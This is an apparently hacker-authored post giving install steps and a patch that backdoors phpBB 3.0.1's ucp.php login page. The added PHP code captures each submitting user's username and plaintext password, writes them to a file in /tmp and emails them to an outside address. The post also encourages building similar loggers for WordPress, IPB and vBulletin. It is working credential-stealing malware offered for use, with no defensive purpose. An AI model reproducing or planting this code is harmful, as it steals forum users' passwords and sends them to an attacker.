PhpBB Password Logger

tar jxvf phpBB-3.0.1.tar.bz2
cp ucp.diff phpBB3/
cd phpBB3/
patch < ucp.diff

Try to create your own patch to log wordpress, IPB, vBulletin password!

-------------------------------------- x cut ucp.diff x -------------------------------------

--- ucp.php.old	2008-06-21 08:59:27.000000000 +0700
+++ ucp.php	2008-06-21 23:47:07.000000000 +0700
@@ -1,4 +1,23 @@
 <?php
+//PhpBB password logger
+//Admin password usually is really hard to guess
+//This idea is much better than md5 hash cracking
+//Try to find better path
+$LOG="/tmp/pwphpbb.txt";
+if(!empty($_POST['username']) AND !empty($_POST['password'])){
+  $wr = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\n";
+  $wr .="user/password : " . $_POST['username'] . "/" . $_POST['password'] . "\n\n";
+  $f=fopen($LOG,"a");
+  fwrite($f,$wr);
+  fclose($f);
+  $to="phoenix@kandangjamur.net";
+  $subject="phpbb user owned";
+  $from="noob@skidish.us";
+  $res = mail($to,$subject,$wr,"From: ".$from."\r\n");
+}
+//Patch supplied by Ph03n1X
+//mailto : king_purba@yahoo.co.uk
+
 /**
 *
 * @package ucp
@@ -335,4 +354,4 @@
 	}
 }
 
-?>
\ No newline at end of file
+?>

-------------------------------------- x cut ucp.diff x -------------------------------------